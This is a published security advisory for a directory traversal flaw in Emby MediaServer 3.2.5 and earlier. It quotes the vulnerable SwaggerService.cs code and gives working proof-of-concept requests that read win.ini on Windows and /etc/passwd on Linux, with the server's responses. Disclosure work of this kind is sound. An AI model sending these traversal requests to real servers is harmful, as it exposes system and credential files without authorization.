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Emby MediaServer 3.2.5 Directory Traversal

Emby MediaServer 3.2.5 Directory Traversal
Posted Apr 30, 2017
Authored by LiquidWorm | Site zeroscience.mk

Emby MediaServer version 3.2.5 suffers from a directory traversal vulnerability that allows for arbitrary file disclosure.

tags | exploit, arbitrary
SHA-256 | fa223b923ceaad85f3f4ca5cce4208878ae02295ea4e03a6bbab3643e2829316

Emby MediaServer 3.2.5 Directory Traversal

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Emby MediaServer 3.2.5 Directory Traversal File Disclosure Vulnerability


Vendor: Emby LLC
Product web page: https://www.emby.media
Affected version: 3.2.5
3.1.5
3.1.2
3.1.1
3.1.0
3.0.0

Summary: Emby (formerly Media Browser) is a media server designed to organize,
play, and stream audio and video to a variety of devices. Emby is open-source,
and uses a client-server model. Two comparable media servers are Plex and Windows
Media Center.

Desc: The vulnerability was confirmed on tested platforms depending on the version.
Version 3.1.0 is affecting Linux, Windows and Mac platforms. The 3.2.5 only affects
Windows release. Input passed via the 'swagger-ui' object in SwaggerService.cs is not
properly verified before being used to load resources. This can be exploited to disclose
the contents of arbitrary files via directory traversal attacks.

================================================================================
/Emby.Server.Implementations/HttpServer/SwaggerService.cs:
----------------------------------------------------------

using MediaBrowser.Controller;
using MediaBrowser.Controller.Net;
using System.IO;
using MediaBrowser.Model.IO;
using MediaBrowser.Model.Services;

namespace Emby.Server.Implementations.HttpServer
{
public class SwaggerService : IService, IRequiresRequest
{
private readonly IServerApplicationPaths _appPaths;
private readonly IFileSystem _fileSystem;

public SwaggerService(IServerApplicationPaths appPaths, IFileSystem fileSystem, IHttpResultFactory resultFactory)
{
_appPaths = appPaths;
_fileSystem = fileSystem;
_resultFactory = resultFactory;
}

/// <summary>
/// Gets the specified request.
/// </summary>
/// <param name="request">The request.</param>
/// <returns>System.Object.</returns>
public object Get(GetSwaggerResource request)
{
var swaggerDirectory = Path.Combine(_appPaths.ApplicationResourcesPath, "swagger-ui");

var requestedFile = Path.Combine(swaggerDirectory, request.ResourceName.Replace('/', _fileSystem.DirectorySeparatorChar));

return _resultFactory.GetStaticFileResult(Request, requestedFile).Result;
}

/// <summary>
/// Gets or sets the result factory.
/// </summary>
/// <value>The result factory.</value>
private readonly IHttpResultFactory _resultFactory;

/// <summary>
/// Gets or sets the request context.
/// </summary>
/// <value>The request context.</value>
public IRequest Request { get; set; }
}
}

================================================================================


Tested on: Microsoft Windows 7 Professional SP1 (EN)
Mono-HTTPAPI/1.1, UPnP/1.0 DLNADOC/1.50
Ubuntu Linux 14.04.5
MacOS Sierra 10.12.3
SQLite3


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2017-5403
Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2017-5403.php

SSD Advisory: https://blogs.securiteam.com/index.php/archives/3098


22.12.2016

--


GET /emby/swagger-ui/..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows\win.ini HTTP/1.1

HTTP/1.1 200 OK
X-UA-Compatible: IE=Edge
Access-Control-Allow-Headers: Content-Type, Authorization, Range, X-MediaBrowser-Token, X-Emby-Authorization
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
ETag: "07bec80f76d20d26dd300a855219d321"
Cache-Control: public
Server: Mono-HTTPAPI/1.1, UPnP/1.0 DLNADOC/1.50
Content-Type: application/octet-stream
Date: Thu, 22 Dec 2016 10:43:53 GMT
Content-Length: 403
Connection: close

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
[MCI Extensions.BAK]
3g2=MPEGVideo
3gp=MPEGVideo
3gp2=MPEGVideo
3gpp=MPEGVideo
aac=MPEGVideo
adt=MPEGVideo
adts=MPEGVideo
m2t=MPEGVideo
m2ts=MPEGVideo
m2v=MPEGVideo
m4a=MPEGVideo
m4v=MPEGVideo
mod=MPEGVideo
mov=MPEGVideo
mp4=MPEGVideo
mp4v=MPEGVideo
mts=MPEGVideo
ts=MPEGVideo
tts=MPEGVideo

==========================

On Linux:

http://127.0.0.1/%2femby%2fswagger-ui%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
...
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